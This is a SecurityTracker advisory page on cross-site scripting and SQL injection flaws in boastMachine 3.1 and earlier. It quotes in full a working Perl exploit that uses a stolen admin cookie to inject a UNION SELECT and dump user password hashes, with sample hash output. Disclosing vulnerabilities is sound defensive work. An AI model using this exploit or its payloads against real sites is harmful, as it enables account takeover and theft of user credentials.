SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


Try our Premium Alert Service
 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service





Category:   Application (Generic)  >   boastMachine Vendors:   boastology.com
boastMachine Input Validation Flaw Permits Cross-Site Scripting and SQL Injection Attacks
SecurityTracker Alert ID:  1016515
SecurityTracker URL:  http://securitytracker.com/id/1016515
CVE Reference:   CVE-2006-3826, CVE-2006-3827, CVE-2006-3828, CVE-2006-3829, CVE-2006-3831   (Links to External Site)
Updated:  Jun 14 2008
Original Entry Date:  Jul 18 2006
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 3.1 and prior versions
Description:   A vulnerability was reported in boastMachine. A remote user can conduct cross-site scripting attacks. A remote user can inject SQL commands.

The 'bmachine/bmc/admin.php' script does not properly filter HTML code from user-supplied input in the 'blog' parameter before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the boastMachine software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user with an administrator's authentication credentials (which can be obtain via the cross-site scripting vulnerability) can also supply a specially crafted parameter value to execute SQL commands on the underlying database.

The original advisory is available at:

http://www.acid-root.new.fr/advisories/boastmachine.txt

DarkFig reported this vulnerability.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the boastMachine software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can execute SQL commands on the underlying database.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.boastology.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  boastMachine <= 3.1 SQL Injection Exploit

#!/usr/bin/perl

#

#   VulnScr: boastMachine version 3.1 and prior

#       Web: http://boastology.com/

#

#      Date: Sun July 16 10:43 PM 2006

#   Credits: DarkFig (gmdarkfig@gmail.com)

#      Vuln: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Predictable Backup Filename

#  Advisory: http://www.acid-root.new.fr/advisories/boastmachine.txt (French)

#  Required: Admin cookie (user+hash) (You can have it with the XSS)

#

# +-------------------------------------------+

# | boastMachine <= 3.1 SQL Injection Exploit |

# +-------------------------------------------+

#  root::95f44e0321ed96ba9d2961a54daab05e

#  darkfig::547bbdedb2a1df8a1422b58e1eaa2111

#  dapowa::0b76dc1c5bb6c0267aa89fcea5f95bb6

#

use IO::Socket;


print STDERR "+-------------------------------------------+\n";

print STDERR "| boastMachine <= 3.1 SQL Injection Exploit |\n";

print STDERR "+-------------------------------------------+\n";


if(!$ARGV[3]) {

  print STDERR "| Usage: <host> <path> <admin> <md5hash> ---|\n";

  print STDERR "+-------------------------------------------+\n";

  exit();

}


my($host,$path,$admin,$hash) = ($ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3]);


my $sock = IO::Socket::INET->new(

                           PeerAddr => $host,

                           PeerPort => 80,

                           Proto => 'tcp',

                           );

my $data = "do=search&action=search&blog=1' UNION SELECT user_pass,user_login FROM bmc_users%23&cat_list=<script>alert(666)</script>";

my $leng = length($data);


print $sock "POST $path"."bmc/admin.php HTTP/1.1\r\n";

print $sock "Host: $host\r\n";

print $sock "Referer: http://localhost/bmachine/bmc/admin.php?action=search&blog=\r\n";

print $sock "Cookie: BMC_user=${admin}; BMC_user_password=${hash}\r\n";

print $sock "Content-Type: application/x-www-form-urlencoded\r\n";

print $sock "Content-Length: $leng\r\n\n";

print $sock "$data\r\n\n";


while($answ = <$sock>) {

  if($answ =~ /<option value="(\S*)">(\S*)<\/option>/) {

    if(length($1) eq 32) {

    print STDERR $2."::".$1."\n";

  }}

  if($answ =~ /<option value="title">/) { last; }

}

$sock->close();

exit();

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2018, SecurityGlobal.net LLC